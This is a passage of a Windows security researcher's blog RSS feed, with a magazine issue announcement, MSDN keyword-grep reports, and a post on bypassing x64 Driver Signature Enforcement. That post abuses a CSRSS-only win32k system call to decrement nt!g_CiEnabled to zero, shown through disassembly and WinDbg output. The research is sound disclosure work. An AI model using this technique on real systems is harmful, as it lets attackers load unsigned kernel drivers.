<p style="text-align: justify;">Last but not least, another issue of the great <a href="http://magazine.hitb.org/">Hack In The Box Magazine</a> was released just a few days ago &#8211; it&#8217;s now the ninth edition! To complete the tradition, I took care of the &#8220;Windows Security&#8221; section this time as well, preparing a brief article with a long title: <em>&#8220;Memory Copy Functions in Local Windows Kernel Exploitation&#8221;</em>. In short, some implementations of the standard <em>memcpy</em> and <em>memmove</em> functions tend to write data backwards (e.g. starting from the end of the destination memory region rather tham from the beginning) under certain circumstances, which appears to be an useful observation if the attacker has a certain degree of control over the <em>dst</em>, src and <em>size</em> parameters. I hope you will enjoy it.</p>
<p style="text-align: justify;"><strong>The magazine can be downloaded from <a href="http://magazine.hitb.org/issues/HITB-Ezine-Issue-009.pdf">here</a> (HITB-Ezine-Issue-009.pdf, 11.6 MB)</strong></p>
<p><span id="more-1441"></span></p>
<h2 style="text-align: center;">Contents table</h2>
<h3>Windows Security</h3>
<p style="padding-left: 30px;">Bot Wars &#8211; The Game of Win32/64 System Takeover (04)<br />
<span style="color: #000080;">by Aditya K Sood, IOActive</span></p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">Memory Copy Functions in Local Windows Kernel Exploitation (12)</span><br />
<span style="color: #000080;">by Mateusz &#8220;j00ru&#8221; Jurczyk</span></p>
<h3>Mobile Security</h3>
<p style="padding-left: 30px;">Android Persistent Threats (20)<br />
<span style="color: #000080;"> by Riley Hassell, CEO of Privateer Labs (A C5i Company)</span></p>
<h3>Hardware Security</h3>
<p style="padding-left: 30px;">Does the Analysis of Electrical Current Consumption of Embedded Systems could Lead to Code Reversing? (28)<br />
<span style="color: #000080;">by Yann Allain &amp; Julien Moinard</span></p>
<h3>Web  Application Security</h3>
<p style="padding-left: 30px;">To Hack an ASP.Net Site? It is Difficult, but Possible! (48)<br />
<span style="color: #000080;">by V. Kochetkov</span></p>
<h3>Mobile Security</h3>
<p style="padding-left: 30px;">A Brief Introduction to VEGA (66)<br />
<span style="color: #000080;">by David Mirza Ahmad</span></p>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1441</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Crawling MSDN for fun and profit</title>
		<link>http://j00ru.vexillium.org/?p=1421</link>
		<comments>http://j00ru.vexillium.org/?p=1421#comments</comments>
		<pubDate>Fri, 16 Nov 2012 19:41:54 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Ring3]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1421</guid>
		<description><![CDATA[Regardless of whether you are a Windows exploitation guru, a professional win32 application developer or someone whose curiosity occasionally tells him to dig up the MSDN library looking for interesting quirks or undocumented functionality, the following examples of MSDN article excerptions are very likely to look familiar to you: Simply put, the operating system operates on an [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Regardless of whether you are a Windows exploitation guru, a professional win32 application developer or someone whose curiosity occasionally tells him to dig up the MSDN library looking for interesting quirks or undocumented functionality, the following examples of MSDN article excerptions are very likely to look familiar to you:</p>
<p><img class="alignnone" style="border: 1px solid black;" src="http://j00ru.vexillium.org/blog/16_11_12/msdn1.png" alt="" width="767" height="91" /></p>
<p><img class="alignnone" style="border: 1px solid black;" src="http://j00ru.vexillium.org/blog/16_11_12/msdn2.png" alt="" width="234" height="62" /></p>
<p><img class="alignnone" style="border: 1px solid black;" src="http://j00ru.vexillium.org/blog/16_11_12/msdn3.png" alt="" width="455" height="82" /></p>
<p style="text-align: justify;">Simply put, the operating system operates on an enormous number of structures, unions and flags defined and developed throughout the 20+ years of Windows being around. Many of them are used internally within userland, kernel space or both parts of a specific functionality implementation, while typical developers never get a chance to even learn about them. Often times, however, these constructs are used to actively communicate with the operating system from within third-party software, be it a regular word processor or a custom device driver for an uncommon sound card. While reading through the Microsoft documentation library (perhaps this also applies to other environments?), it is exceedingly easy to stumble upon a sentence like &#8220;don&#8217;t use it&#8221;, &#8220;always set it to zero&#8221; or &#8220;if you use it, <del>Windows might format your C: disk</del> you can encounter undefined behavior&#8221;. It always sounds very mysterious, but in reality, there can be only several different reasons for that:</p>
<p><span id="more-1421"></span></p>
<ul>
<li style="text-align: justify;">The item is in fact reserved for future use and disregarded by the current implementation, thus one could get away with setting it to an unsupported value at this point, but might face compatibility issues when the parameter, field or flag becomes fully functional. Not very interesting from a security or research perspective.</li>
</ul>
<ul style="text-align: justify;">
<li>The item is supported, but reserved for use in a different context: for example, employed within a system process with higher privileges or a system DLL.</li>
</ul>
<ul style="text-align: justify;">
<li>The item is supported, but Windows reserves the right to behave in an undefined way in case a specifically described (invalid) state of a structure, one of its field or a parameter is encountered.</li>
</ul>
<p style="text-align: justify;">Now, providing the user with an ability to even attempt to perform <em>forbidden</em> operations is often tricky and very easy to get wrong. In theory, all components of the operating system should perform strict verification in order to determine whether all input data obtained from an untrusted source (in a given security model) meets the requirements and restrictions established in the documentation. What we observe is different though &#8211; Windows often lacks proper sanitization in such cases. Additionally, rather than working in a <em>security by obscurity</em> manner (&#8220;it&#8217;s not clear how it works, I&#8217;ll just leave it alone&#8221;), such <em>reserved</em> or <em>undefined</em> places are usually a clear indicator that something fishy is going on there and it might be worth a deeper investigation. After all, it&#8217;s not such a rare phenomenon that the operating system trusts that a specific interface would never be used in an unexpected way &#8211; and if it does, we might end up being able to perform certain operations that we wouldn&#8217;t be normally allowed to (we&#8217;re talking privilege escalation here), or just finding out how a specific system mechanism works internally. One great example of the latter is the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms724878(v=vs.85).aspx">KEY_CREATE_LINK</a> flag: reserved for system use, but reverse engineered and used to build third-party applications that can create registry symbolic links, despite it being formally not supported! In fact, when we looked at it several years back, the mechanism turned out to have never been properly reviewed, so we managed to spot quite a few vulnerabilities related to this very functionality, all resolved by <a href="http://technet.microsoft.com/en-us/security/bulletin/MS10-021">MS10-021</a>. Also, I don&#8217;t have to mention that when &#8220;undefined behavior&#8221; means a buffer overflow within a kernel pool allocation, it&#8217;s really appealing, too :)</p>
<p style="text-align: justify;">Grepping through the entire MSDN library in search of those special keywords is a very intuitive idea that comes to mind. I have recently done just that, but it appears that I already have a lot of plans for the few incoming months, so I decided to share these logs with a wider audience &#8211; hopefully you will be able to put them to good use by finding yourself a good research subject, or at least spend a nice evening looking through the list for entertainment purposes :) Please don&#8217;t mind my poor HTML/CSS skills, I am really not a website designer&#8230;</p>
<p style="text-align: justify;"><strong>Note:</strong> I have put together a list of seven phrases that I found most frequently indicating interesting spots in the documentation. If you have any more cool ideas of what to look for, let me know and I&#8217;ll consider them!</p>
<h1 style="text-align: justify;">Links</h1>
<p style="text-align: justify;"><strong>Microsoft MSDN User-Mode Library keyword grep report: <a href="http://j00ru.vexillium.org/msdn/user.html">http://j00ru.vexillium.org/msdn/user.html</a>.</strong></p>
<p style="text-align: justify;"><strong>Microsoft MSDN Kernel-Mode Library keyword grep report: <a href="http://j00ru.vexillium.org/msdn/kernel.html">http://j00ru.vexillium.org/msdn/kernel.html</a>.</strong></p>
<p style="text-align: justify;">
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1421</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Defeating Windows Driver Signature Enforcement #2: CSRSS and thread desktops</title>
		<link>http://j00ru.vexillium.org/?p=1393</link>
		<comments>http://j00ru.vexillium.org/?p=1393#comments</comments>
		<pubDate>Sat, 10 Nov 2012 03:08:33 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[CSRSS]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1393</guid>
		<description><![CDATA[To stand by my claim that the Microsoft Windows operating system has been built on the fundamental assumption that administrative privileges would always be equivalent to granting the ability to run arbitrary ring-0 code, I have decided to briefly discuss yet another portion of some Windows internals and how they could be easily misused by [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">To stand by my claim that the Microsoft Windows operating system has been built on the fundamental assumption that administrative privileges would always be equivalent to granting the ability to run arbitrary ring-0 code, I have decided to briefly discuss yet another portion of some Windows internals and how they could be easily misused by a system administrator to unlawfully cross the admin / kernel boundary on a X86-64 platform, and effectively elevate his rights on the machine by loading an unsigned device driver of his choice. The technique is directly related to CSRSS (the infamous <em>Client/Server Runtime Subsystem</em>), a part of Windows that has likely motivated most of the dirty relict hacks in the kernel that still remain visible in the most recent versions of the OS.</p>
<p style="text-align: justify;">As usual, let&#8217;s start with some historical context. Back in July 2007, <a href="http://www.woodmann.com/forum/archive/index.php/t-10295.htmlc">omega_red has started a thread</a> on the woodmann RCE forums, stating that he had found a GDI bug (Blue Screen of Death triggerable from user-mode) that required <em>&#8220;pretty unusual conditions&#8221;</em> to work. A few days into the discussion, Alex Ionescu chimed in and said that inspired by omega&#8217;s finding, he had spent a night looking around the <em>win32k.sys</em> module and located four vulnerabilities that he would be willing to present on the BlackHat conference; and so he did &#8211; the slides from his BlackHat USA 2008 conference talk titled &#8220;Pointer and Handles&#8221; can be found <a href="http://www.alex-ionescu.com/BH08-AlexIonescu.pdf">here</a>. All issues discussed by Alex are fairly interesting, so be sure to check out the slides if you haven&#8217;t already; the important one for us would be the NULL Pointer Dereference within CSRSS.EXE via <em>xxxCreateThreadInfo</em>. The kernel routine would dereference an internal <em>CurrentW32Thread-&gt;Desktop</em> pointer without prior sanitization, thus using a pointer that was never initialized for the special subsystem process, in the first place. Oh, in fact there might be a &#8220;few<em>&#8220;</em> more instances of such bugs in the kernel nowadays, but stay tuned&#8230; :-)</p>
<p><span id="more-1393"></span><br />
During his talk, Alex also mentioned a list of CSRSS-reserved system calls within<em></em> the main graphical device driver, most of which are still found in Windows 7 and 8 today. These services usually begin with the following expression:</p>
<pre class="brush: c; gutter: true">if (PsGetCurrentProcess() != gpepCsrss) {
  return STATUS_ACCESS_DENIED;
}</pre>
<p style="text-align: justify;">If we take a look at the list of cross-references to the global <em>gpepCsrss</em> symbol in the context of a <em>cmp</em> operation, we will get a comprehensive list of functions that are either entirely reserved for system use, or provide some such functionality (the list below was acquired from Windows 8 32-bit):</p>
<pre class="brush: actionscript3; gutter: true">_BlockInput
CheckProcessIdentity
_CloseDesktop
_CreateEmptyCursorObject
DestroyProcessesObjects
_GetProcessDefaultLayout
GetThreadsWithPKL
HandleSystemThreadCreationFailure
InitializeClientPfnArrays
IsHandleEntryAccessibleForIL
_LoadCursorsAndIcons
NtUserAutoRotateScreen
NtUserCheckAccessForIntegrityLevel
NtUserCtxDisplayIOCtl
NtUserDestroyCursor
NtUserGetCaretBlinkTime
NtUserGetDoubleClickTime
NtUserHardErrorControl
NtUserNotifyProcessCreate
NtUserPostMessage
NtUserPostThreadMessage
NtUserProcessConnect
NtUserQueryInformationThread
NtUserRemoteConnect
NtUserRemoteRedrawRectangle
NtUserRemoteRedrawScreen
NtUserRemoteStopScreenUpdates
NtUserSetInformationThread
NtUserSetSensorPresence
NtUserSetThreadDesktop
OpenCacheKeyEx
PDEVOBJ::FontManagement
PDEVOBJ::GetTrueTypeFile
_PostMessageCheckIL
_PostMessageExtended
_PostThreadMessage
PowerOnGdi
RecalculateQueueInfo
_RegisterHotKey
RemoteLogoff
RemotePassthruDisable
RemoteShadowCleanup
RemoteShadowStart
RemoteThinwireStats
_SetCursorIconData
_ShouldFrostCrashedWindow
_ShouldFrostSiblingWindow
_ShouldGhostWindow
UnmapDesktop
UserGetDesktopDC
ValidateHwndEx
vCleanupUMWindowlessSprite
VideoPortCalloutThread
WakeRITForShutdown
xxxCreateSystemThreads
xxxCreateThreadInfo
xxxDesktopRecalc
xxxGetDeviceChangeInfo
xxxInitTerminal
xxxInternalKeyEventDirect
xxxInternalUserChangeDisplaySettings
xxxInterSendMsgEx
xxxMouseEventDirect
xxxRealDefWindowProc
xxxRemoteConsoleShadowStop
xxxRemoteDisconnect
xxxRemoteNotify
xxxRemotePassthruEnable
xxxRemoteReconnect
xxxRemoteShadowSetup
xxxRemoteShadowStop
xxxSetDeskWallpaper
xxxSetProcessInitState
xxxSetThreadDesktop
xxxSystemParametersInfo
xxxWrapRealDefWindowProc
zzzClipCursor
zzzResetSharedDesktops</pre>
<p style="text-align: justify;">Please note that while CSRSS is a system-critical process, it can be easily executed code within by an administrator &#8211; after acquiring <em>a SeDebugPrivilege</em> token, one can use pretty much all process-manipulation API functions (such as WriteProcessMemory or <em>CreateRemoteThread</em>) over the process. Now, the big question is &#8211; to what extent do these routines <em>trust</em> CSRSS to provide sensible (and safe) input data? If we look at the past, they seem to have been rather reckless at the time  and didn&#8217;t perform any sanity checking at all, as described by Alex from <a href="http://ntinternals.org">ntinternals.org</a> in the &#8220;Windows XP SP2/SP3 (NtUserConsoleControl) &#8211; Local Privilege Escalation&#8221; article available <a href="http://www.ntinternals.org/">here</a>. Even though these issues are long gone now after Microsoft has developed adequate fixes (mostly consisting of calling <em>ProbeForRead</em> and <em>ProbeForWrite</em> in the right places), they didn&#8217;t really stop indirectly trusting the subsystem process in numerous other places. For example, let&#8217;s take a look at the <em>win32k!NtUserSetInformationThread</em> function implementation in snippets:</p>
<pre class="brush: text; gutter: true">.text:BF93ED97 call ds:__imp__PsGetCurrentProcess@0 ; PsGetCurrentProcess()
.text:BF93ED9D cmp eax, _gpepCSRSS
.text:BF93EDA3 jnz loc_BFA7E296</pre>
<p>First of all, it obviously verifies that the caller is indeed a CSRSS process.</p>
<pre class="brush: text; gutter: true; highlight:[1,2,3,18,19,20,21,22]">.text:BF93EDA9                 mov     esi, [ebp+length]
.text:BF93EDAC                 cmp     esi, 0Ch
.text:BF93EDAF                 ja      loc_BFA7E2AA
.text:BF93EDB5                 test    esi, esi
.text:BF93EDB7                 jz      loc_BF93EE4D
.text:BF93EDBD                 and     [ebp+ms_exc.disabled], 0
.text:BF93EDC1                 mov     ebx, [ebp+Address]
.text:BF93EDC4                 test    bl, 3
.text:BF93EDC7                 jnz     short loc_BF93EE39
.text:BF93EDC9                 lea     ecx, [ebx+esi]
.text:BF93EDCC                 mov     eax, _W32UserProbeAddress
.text:BF93EDD1                 cmp     ecx, eax
.text:BF93EDD3                 ja      short loc_BF93EE3F
.text:BF93EDD5                 cmp     ecx, ebx
.text:BF93EDD7                 jb      short loc_BF93EE3F
.text:BF93EDD9
.text:BF93EDD9 loc_BF93EDD9:                           ; CODE XREF: NtUserSetInformationThread(x,x,x,x)+EA
.text:BF93EDD9                 push    esi             ; size_t
.text:BF93EDDA                 push    ebx             ; void *
.text:BF93EDDB                 lea     eax, [ebp+local_buffer]
.text:BF93EDDE                 push    eax             ; void *
.text:BF93EDDF                 call    _memcpy
.text:BF93EDE4                 mov     [ebp+ms_exc.disabled], 0FFFFFFFEh
.text:BF93EDEB                 add     esp, 0Ch</pre>
<p style="text-align: justify;">Further on, the input data length is enforced to be less or equal to 0ch (12d), after which the data itself is copied into a stack-based buffer located at <em>ebp+var_24</em>. This is not the subject of the post, but please note that there is a bug here already &#8211; the routine only checks if the length is not <strong>greater</strong> than the size of the input structure, but later assumes that it is equal to the size. Therefore, if we pass anything smaller than 12 as the data length (say zero), parts of the buffer will remain uninitialized and later read from &#8211; the behavior may consequently lead to a certain degree of information disclosure&#8230; Anyway, let&#8217;s dig further in the function:</p>
<pre class="brush: c; gutter: true">.text:BF93EDEE                 push    esi             ; input data length
.text:BF93EDEF                 lea     eax, [ebp+local_buffer]
.text:BF93EDF2                 push    eax             ; stack-based input buffer of size 12
.text:BF93EDF3                 push    [ebp+cmd_code]  ; fully controlled control code
.text:BF93EDF6                 push    [ebp+handle]    ; input handle
.text:BF93EDF9                 call    _xxxSetInformationThread@16 ; xxxSetInformationThread(x,x,x,x)</pre>
<p>There&#8217;s a call to an internal <em>win32k!xxxSetInformationThread</em> function with controlled parameters and a pointer to controlled structure. Let&#8217;s look inside.</p>
<pre class="brush: text; gutter: true">.text:BF93EE6E                 lea     ecx, [ebp+Object]
.text:BF93EE71                 push    ecx             ; Object
.text:BF93EE72                 push    1               ; AccessMode
.text:BF93EE74                 push    dword ptr [eax] ; ObjectType
.text:BF93EE76                 push    20h             ; DesiredAccess
.text:BF93EE78                 push    [ebp+handle]    ; Handle
.text:BF93EE7B                 call    ds:__imp__ObReferenceObjectByHandle@24 ; ObReferenceObjectByHandle(x,x,x,x,x,x)
[...]
.text:BF93EE8B                 mov     ebx, [ebp+buffer]
[...]
.text:BF93EE8F                 mov     edi, [ebp+cmd_code]
[...]
.text:BF93EE9C                 cmp edi, 9
.text:BF93EE9F                 jz short loc_BF93EED6
[...]
.text:BF93EED6 loc_BF93EED6: ; CODE XREF: xxxSetInformationThread(x,x,x,x)+3F
.text:BF93EED6                 add ebx, 4
.text:BF93EED9                 call _xxxRestoreCsrssThreadDesktop@4 ; xxxRestoreCsrssThreadDesktop(x)</pre>
<p style="text-align: justify;">What happens here is that the <em>handle</em> parameter from the original syscall is referenced as a <em></em><em style="text-align: justify;">thread</em> type, and later if the control code is equal to nine, another internal function called <em>win32k!xxxRestoreCsrssThreadDesktop</em> is invoked with the (buffer+4) address passed as a parameter inside <em>ecx</em>, and the return value of the preeceding <em>ObReferenceObjectByHandle</em> (NTSTATUS) as a parameter in register <em>esi</em>. By following the call chain, we can observe the following code:</p>
<pre class="brush: text; gutter: true">.text:BF93EFEF ; __stdcall xxxRestoreCsrssThreadDesktop(x)
[...]
.text:BF93F02C loc_BF93F02C:                           ; CODE XREF: xxxRestoreCsrssThreadDesktop(x)+68
.text:BF93F02C                 mov     ecx, [ebx]
.text:BF93F02E                 test    ecx, ecx
.text:BF93F030                 jnz     short loc_BF93F059
.text:BF93F032
.text:BF93F032 loc_BF93F032:                           ; CODE XREF: xxxRestoreCsrssThreadDesktop(x)+72
.text:BF93F032                 mov     esi, [ebx+4]
.text:BF93F035                 test    esi, esi
.text:BF93F037                 jz      short loc_BF93F042
.text:BF93F039                 push    edi
.text:BF93F03A                 call    _CloseProtectedHandle@8 ; CloseProtectedHandle(x,x)
.text:BF93F03F                 mov     [ebx+4], edi
.text:BF93F042
.text:BF93F042 loc_BF93F042:                           ; CODE XREF: xxxRestoreCsrssThreadDesktop(x)+48
.text:BF93F042                 mov     eax, [ebp+var_4]
.text:BF93F045                 pop     edi
.text:BF93F046                 pop     esi
.text:BF93F047                 leave
.text:BF93F048                 retn
[...]
.text:BF93F059                 call    ds:__imp_@ObfDereferenceObject@4 ; ObfDereferenceObject(x)
.text:BF93F05F                 mov     [ebx], edi
.text:BF93F061                 jmp     short loc_BF93F032</pre>
<p style="text-align: justify;">The above assembly translates to the following:</p>
<pre class="brush: c; gutter: true">/* 
 * ... irrelevant ...
 */

if (buffer-&gt;object) {
  ObfDereferenceObject(buffer-&gt;object);
}
if (buffer-&gt;handle) {
  CloseProtectedHandle(buffer-&gt;handle);
}</pre>
<p style="text-align: justify;">Keeping in mind that <em>buffer</em> is still pointing at a user-controlled structure, it becomes clear that the current implementation enables CSRSS to operate on raw kernel-mode addresses and handles; furthermore, if controlled by a rogue user, it makes it possible to either corrupt kernel-mode memory by passing an arbitrary non-object parameter to <em>ObfDeferenceObject</em>, or potentially cause a use-after-free condition by illegally closing a system handle or passing in a pointer to an object that is not intended to be dereferenced at this point. One simple way to exploit the issue is described below.</p>
<p style="text-align: justify;">The nature of memory operations performed by the <em>ObfDereferenceRoutine</em> routine upon an object is fairly straight-forward:</p>
<pre class="brush: text; gutter: true">.text:0045447C                 lea     esi, [ebx-18h]  ; ebx = object
[...]
.text:00454499                 or      edi, 0FFFFFFFFh
.text:0045449C                 lock xadd [esi], edi</pre>
<p style="text-align: justify;">Just one thing to keep in mind is that the signed value being decremented by one is not supposed to drop below one; otherwise, the object manager would attempt to free the &#8220;object&#8221; from the kernel pools which would either render exploitation completely impossible or unnecessarily complicate it by a lot. If we take a step back and look at <a href="http://j00ru.vexillium.org/?p=377">&#8220;A quick insight into the Driver Signature Enforcement&#8221;</a> article from two years ago (which was probably around the time I stumbled upon the issue discussed here), we can see that disabling the mechanism on a live system session can be as simple as flipping the <strong>nt!g_CiEnabled</strong> byte from one to zero. Let&#8217;s take a look at our chances  inside a Windows 7 64-bit session investigated with WinDbg:</p>
<pre class="brush: text; gutter: true">kd&gt; dq nt!g_cienabled-8
fffff800`02e45eb0  fffff880`00cdc470 00000000`00000001
fffff800`02e45ec0  00000000`00000000 00000000`00000000
fffff800`02e45ed0  00000000`00000000 00000000`00000000
[...]</pre>
<p style="text-align: justify;">As we can see, there is a 64-bit pointer directly before the value within interest, and just zeros after it. Bearing in mind that we can&#8217;t just decrement a 64-bit value to zero or less explicitly, we need to do some non-aligned memory access. If we take a look at the memory address shifted by one, here&#8217;s what we get:</p>
<pre class="brush: text; gutter: true">kd&gt; dq nt!g_cienabled-1
fffff800`02e45eb7  00000000`000001ff 00000000`00000000</pre>
<p style="text-align: justify;">Our target byte becomes the second-least important byte in a qword, the last one being always 0xff (due to of canonical address space addressing). Therefore, we can perform exactly 256 decrementations using the <em>ObfDereferenceObject</em> call with an arbitrary parameter in order to drop the <em>nt!g_CiEnabled</em> byte to zero and keep the preceeding pointer untouched and valid. This is how it looks in practice:</p>
<pre class="brush: text; gutter: true">kd&gt; !process
PROCESS fffffa80020c5b30
    SessionId: 1  Cid: 017c    Peb: 7fffffd9000  ParentCid: 0174
    DirBase: 19e1b000  ObjectTable: fffff8a005fc18e0  HandleCount: 204.
    Image: csrss.exe
[...]
kd&gt; u
nt!ObfDereferenceObject+0x2c:
fffff800`02ca946c f0480fc11f      lock xadd qword ptr [rdi],rbx

kd&gt; ? rbx; dq rdi
Evaluate expression: -1 = ffffffff`ffffffff
fffff800`02e45eb7  00000000`000001ff 00000000`00000000
[...]
kd&gt; ? dq rdi
fffff800`02e45eb7  00000000`000001f8 00000000`00000000
[...]
kd&gt; ? dq rdi
fffff800`02e45eb7  00000000`0000012f 00000000`00000000
[...]
kd&gt; ? dq rdi
fffff800`02e45eb7  00000000`000000ff 00000000`00000000

kd&gt; db nt!g_CiEnabled
fffff800`02e45eb8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................</pre>
<p style="text-align: justify;">Aaaaaand&#8230; that&#8217;s it ;-) Although not very spectacular, you can also watch a demo exploitation video below. I believe I privately reported the bug to Microsoft somewhere around 2009, but it was obviously not classified as a security issue (just a reliability one), and apparently hasn&#8217;t been found important enough to be fixed up until now. I hope you guys enjoyed the post, more Windows internals to come soon!</p>
<p><center><iframe src="http://www.youtube.com/embed/IC1NeH-W3RI" frameborder="0" width="640" height="360"></iframe></center></p>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1393</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
